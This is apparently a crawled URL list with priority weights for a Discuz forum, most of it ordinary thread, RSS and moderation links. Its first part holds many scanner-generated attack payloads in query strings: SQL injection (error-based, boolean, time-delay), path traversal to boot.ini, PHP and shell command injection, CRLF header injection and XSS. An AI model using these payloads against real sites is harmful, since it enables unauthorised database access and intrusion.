http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(41=41)%20THEN%200x6C617374706F7374%20ELSE%200x28%20END))%20AND%20(21=21 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(87=42)%20THEN%200x6C617374706F7374%20ELSE%200x28%20END))%20AND%20(87=87 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost,(SELECT%20(CASE%20WHEN%20(16=16)%20THEN%200x6C617374706F7374%20ELSE%2016*(SELECT%2016%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost,(SELECT%20(CASE%20WHEN%20(32=18)%20THEN%200x6C617374706F7374%20ELSE%2032*(SELECT%2032%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost,(SELECT%20(CASE%20WHEN%20(33=33)%20THEN%200x6C617374706F7374%20ELSE%2033*(SELECT%2033%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost,(SELECT%20(CASE%20WHEN%20(43=31)%20THEN%200x6C617374706F7374%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost,(SELECT%20(CASE%20WHEN%20(44=48)%20THEN%200x6C617374706F7374%20ELSE%2044*(SELECT%2044%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost,(SELECT%20(CASE%20WHEN%20(47=47)%20THEN%200x6C617374706F7374%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost,(SELECT%20(CASE%20WHEN%20(5=5)%20THEN%20SLEEP(5)%20ELSE%205*(SELECT%205%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost/ 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost6633x3X6 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost;%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost;%20SELECT%20SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpost;SELECT%20PG_SLEEP(5) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpostAND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))uttes) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpostAND%201997=(SELECT%205%20FROM%20PG_SLEEP(5)) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpostJyI%3D 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastpostalert(42873) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=lastposte360 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=phpinfo 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=response.write(9412458*9542755) 0.0001 http://www.cncml.com/forum.php?mod=redirect&tid=224&goto=set%7Cset&set 0.0001 http://www.cncml.com/forum.php?mod=rss&fid=2&auth=0 0.0001 http://www.cncml.com/forum.php?mod=rss&fid=38&auth=0 0.0001 http://www.cncml.com/forum.php?mod=rss&fid=39&auth=0 0.0001 http://www.cncml.com/forum.php?mod=rss&fid=43&auth=0 0.0001 http://www.cncml.com/forum.php?mod=rss&fid=44&auth=0 0.0001 http://www.cncml.com/forum.php?mod=rss&fid=45&auth=0 0.0001 http://www.cncml.com/forum.php?mod=rss&fid=47&auth=0 0.0001 http://www.cncml.com/forum.php?mod=rss&fid=48&auth=0 0.0001 http://www.cncml.com/forum.php?mod=topicadmin&action=moderate&fid=2&infloat=yes&nopost=yes 0.0001 http://www.cncml.com/forum.php?mod=topicadmin&action=moderate&fid=38&infloat=yes&nopost=yes 0.0001 http://www.cncml.com/forum.php?mod=topicadmin&action=moderate&fid=39&infloat=yes&nopost=yes 0.0001 http://www.cncml.com/forum.php?mod=topicadmin&action=moderate&fid=43&infloat=yes&nopost=yes 0.0001 http://www.cncml.com/forum.php?mod=topicadmin&action=moderate&fid=44&infloat=yes&nopost=yes 0.0001 http://www.cncml.com/forum.php?mod=topicadmin&action=moderate&fid=48&infloat=yes&nopost=yes 0.0001 http://www.cncml.com/forum.php?mod=viewthread&action=printable&tid=152 0.0001 http://www.cncml.com/forum.php?mod=viewthread&action=printable&tid=173 0.0001 http://www.cncml.com/forum.php?mod=viewthread&action=printable&tid=204 0.0001 http://www.cncml.com/forum.php?mod=viewthread&action=printable&tid=205 0.0001 http://www.cncml.com/forum.php?mod=viewthread&action=printable&tid=206 0.0001 http://www.cncml.com/forum.php?mod=viewthread&action=printable&tid=207 0.0001 http://www.cncml.com/forum.php?mod=viewthread&action=printable&tid=208 0.0001 http://www.cncml.com/forum.php?mod=viewthread&action=printable&tid=209 0.0001 http://www.cncml.com/forum.php?mod=viewthread&action=printable&tid=215 0.0001 http://www.cncml.com/forum.php?mod=viewthread&action=printable&tid=216 0.0001 http://www.cncml.com/forum.php?mod=viewthread&action=printable&tid=217 0.0001 http://www.cncml.com/forum.php?mod=viewthread&action=printable&tid=218 0.0001 http://www.cncml.com/forum.php?mod=viewthread&action=printable&tid=219 0.0001 http://www.cncml.com/forum.php?mod=viewthread&action=printable&tid=220 0.0001 http://www.cncml.com/forum.php?mod=viewthread&action=printable&tid=224 0.0001 http://www.cncml.com/forum.php?mod=viewthread&action=printable&tid=25 0.0001 http://www.cncml.com/forum.php?mod=viewthread&ordertype=2&tid=14 0.0001 http://www.cncml.com/forum.php?mod=viewthread&ordertype=2&tid=177 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=%3Cdir 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=');print(md5(1122));// 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=(75=75)*224 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=(82=18)*224 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=(SELECT%20(CASE%20WHEN%20(11=41)%20THEN%20224%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=(SELECT%20(CASE%20WHEN%20(17=73)%20THEN%20224%20ELSE%2017*(SELECT%2017%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=(SELECT%20(CASE%20WHEN%20(25=81)%20THEN%20224%20ELSE%2025*(SELECT%2025%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=(SELECT%20(CASE%20WHEN%20(35=15)%20THEN%20224%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=(SELECT%20(CASE%20WHEN%20(37=37)%20THEN%20224%20ELSE%2037*(SELECT%2037%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=(SELECT%20(CASE%20WHEN%20(44=44)%20THEN%20224%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=(SELECT%20(CASE%20WHEN%20(61=61)%20THEN%20224%20ELSE%201/(SELECT%200)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=(SELECT%20(CASE%20WHEN%20(62=78)%20THEN%20224%20ELSE%2062*(SELECT%2062%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=(SELECT%20(CASE%20WHEN%20(89=89)%20THEN%20224%20ELSE%2089*(SELECT%2089%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=(SELECT%20(CASE%20WHEN%20(91=91)%20THEN%20224%20ELSE%2091*(SELECT%2091%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=................windowswin.ini 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=1#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=1&mobile=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=10#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=100#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=101#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=103#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=104#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=107#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=108#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=109#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=11#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=110#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=111#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=112#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=113#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=114#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=115#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=116#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=117#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=118#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=119#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=12#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=120#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=121#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=122#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=123#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=124#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=125#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=128#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=129 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=129#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=13#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=130#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=131#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=132#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=133#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=134#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=136 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=136#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=137#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=138#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=139#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=14#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=140#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=141 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=141#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=142#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=143#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=144#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=145#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=145&from=portal 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=146#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=147 0.0002 http://www.cncml.com/forum.php?mod=viewthread&tid=147#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=148#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=149#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=15#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=150 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=150#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=152 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=152#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=152&extra=page%3D1&ordertype=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=152&page=1&authorid=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=153#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=154#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=155#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=156#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=157#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=158#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=159#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=16 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=16#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=160#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=161#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=162#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=163#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=164 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=164#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=165#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=166#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=167#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=168#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=169#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=17#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=170 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=170#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=171 0.0003 http://www.cncml.com/forum.php?mod=viewthread&tid=172 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=172#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=173 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=173#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=173&extra=&ordertype=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=173&from=portal 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=173&page=1&authorid=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=175#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=175&from=portal 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=176#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=177#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=178 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=178#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=179 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=179#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=179&from=portal 0.0002 http://www.cncml.com/forum.php?mod=viewthread&tid=18#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=181#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=182 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=182#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=183#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=184#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=185#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=186#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=187 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=187#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=188#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=189#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=19#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=190#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=191 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=191#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=192#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=193#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=194#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=195 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=195#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=196#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=197#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=198 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=198#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=2#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=20#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=203 0.0002 http://www.cncml.com/forum.php?mod=viewthread&tid=203#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=204 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=204#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=204&extra=&ordertype=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=204&from=album 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=204&page=1&authorid=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=205 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=205#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=205&page=1&authorid=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=206 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=206#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=206&extra=&ordertype=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=206&page=1&authorid=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=207 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=207#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=207&extra=&ordertype=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=207&page=1&authorid=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=208 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=208#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=208&extra=&ordertype=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=208&page=1&authorid=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=209 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=209#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=209&extra=&ordertype=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=209&page=1&authorid=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=21#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=21&mobile=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=215 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=215#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=215&extra=&ordertype=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=215&page=1&authorid=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=216 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=216#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=216&extra=&ordertype=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=216&page=1&authorid=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=217 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=217#lastpost 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=217&extra=&ordertype=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=217&mobile=1 0.0001 http://www.cncml.com/forum.php?mod=viewthread&tid=217&page=1&authorid=1 0.0001 